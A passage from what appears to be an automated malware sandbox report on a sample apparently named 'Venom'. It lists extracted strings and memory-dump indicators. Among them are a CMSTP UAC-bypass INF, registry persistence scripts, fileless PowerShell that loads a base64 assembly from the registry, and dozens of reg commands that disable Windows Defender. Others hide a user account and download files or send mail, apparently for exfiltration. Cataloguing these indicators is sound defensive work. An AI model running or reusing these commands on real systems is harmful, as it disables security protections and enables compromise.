\"\"\r\n\r\n[Strings]\r\nServiceName=\"Venom\"\r\nShortSvcName=\"Venom\"\r\n\r\n" in Source: 600085c-cctor "' -Verb RunAs\"\r\n taskkill /IM cmstp.exe /F\r\n [CustInstDestSectionAllUsers]\r\n 49000 49001=AllUSer_LDIDSection 7\r\n [AllUSer_LDIDSection]\r\n \"HKLM\" \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\" \"ProfileInstallPath\" \"%UnexpectedError%\" \"\"\r\n [Strings]\r\n ServiceName=\"CMMGR32\"\r\n ShortSvcName=\"CMMGR32\"" in Source: 600086a-_~_, "on error resume next\r\nset wshShell = CreateObject( \"WScript.Shell\" )\r\nwshShell.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\" in Source: 600086b-_~_ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA" in Source: 6000877-_~_ "Software\\JavaSoft" in Source: 6000890-_~_ "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 6000891-_~_ "SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\\" in Source: 600089c-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 60008ab-_~_ "on error resume next\r\nDo While True\r\n\r\nSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")\r\noReg.GetStringValue &H80000001, \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", \"" in Source: 60008e0-_~_, "\", strValue\r\nIf IsNull(strValue) Then\r\n\r\nset wshShell = CreateObject( \"WScript.Shell\" )\r\nwshShell.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\" in Source: 60008e0-_~_, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" in Source: 6000904-_~_, "New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 6000942-_~_, "reg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" / t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"2\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderApiLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderAuditLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run\" /v \"SecurityHealth\" /f" in Source: 6000980-_~_, "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"SecurityHealth\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\*\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\Directory\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg delete \"HKCR\\Drive\\shellex\\ContextMenuHandlers\\EPP\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\" /v \"Start\" /t REG_DWORD /d \"4\" /f" in Source: 6000980-_~_, "Software\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell" in Source: 6000991-_~_, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" in Source: 6000993-_~_, "Software\\Ccleaner" in Source: 60009a7-_~_, "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 60009a7-_~_, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr" in Source: 6000a2b-_~_, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools" in Source: 6000a2c-_~_, "Software\\Classes\\" in Source: 6000a7d-ctor, "Software\\Classes\\exefile\\Shell\\Open\\command" in Source: 6000a7d-ctor, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" in Source: 6000b37-_~_, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 6000b37-_~_, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce" in Source: 6000b37-_~_, "on]Signature=$chicago$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to installREPLACE_COMMAND_LINEtaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000 49001=AllUSer_LDIDSection 7[AllUSer_LDIDSection]"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp "ume nextset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "ume nextDo While TrueSet oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.GetStringValue &H80000001 "Software\Microsoft\Windows\CurrentVersion\RunOnce" "" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "lete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp, "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, ""HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" """ in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp "oReg.GetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\RunOnce", "" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "eg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);" in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp, "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003464.00000000.66478.7F6F0000.00000002.mdmp 00000000-00003464.00000001.68400.7F6F0000.00000002.mdmp 00000000-00003464.00000002.70319.7F6F0000.00000002.mdmp 00000000-00003464.00000003.75826.7F6F0000.00000002.mdmp3a:Tad4,Observed unmanaged function "PrintWindow" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "GetWindowRect" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "SetWindowPos" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "SetWindowLong" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "SendMessageTimeout" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "EnumDesktopWindows" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "IsWindowVisible" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "WindowFromPoint" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "PostMessage" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "DwmEnableComposition" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "RedrawWindow" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "CreateDesktopW" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "Wow64DisableWow64FsRedirection" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "Wow64RevertWow64FsRedirection" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "IsWow64Process" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "LoadLibraryA" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "GetProcAddress" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "mciSendString" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "FindWindowEx" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "SendMessage" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "FindWindow" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "ShowWindow" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed unmanaged function "GetWindow" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"3b:T656,"SELECT Caption FROM Win32_OperatingSystem" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select caption from win32_operatingsystem") "SELECT * FROM Win32_VideoController" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select * from win32_videocontroller") "Select * From Win32_Process Where ParentProcessID=" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select * from win32_process where parentprocessid=") "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select commandline from win32_process where processid =") "SELECT * FROM Win32_BIOS" (Source: 60008f2-_~_, Indicator: "select * from win32_bios") "SELECT * FROM Win32_BaseBoard" (Source: 60008f3-_~_, Indicator: "select * from win32_baseboard") "SELECT * FROM Win32_Processor" (Source: 60008f4-_~_, Indicator: "select * from win32_processor") "Select * From Win32_ComputerSystem" (Source: 60008f5-_~_, Indicator: "select * from win32_computersystem") "SELECT * FROM Win32_DisplayConfiguration" (Source: 60008f6-_~_, Indicator: "select * from win32_displayconfiguration") "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Source: 6000a82-_~_, Indicator: "select * from win32_operatingsystem where primary='true'") "SELECT * FROM AntivirusProduct" (Source: 6000a84-_~_, Indicator: "select * from antivirusproduct") "SELECT * FROM FirewallProduct" (Source: 6000a85-_~_, Indicator: "select * from firewallproduct")3c:T181a,Found string "ECHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $Attachment = New-Object System.Net.Mail.Attachment($Attachment) >> %PSScript%" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient.Credentials 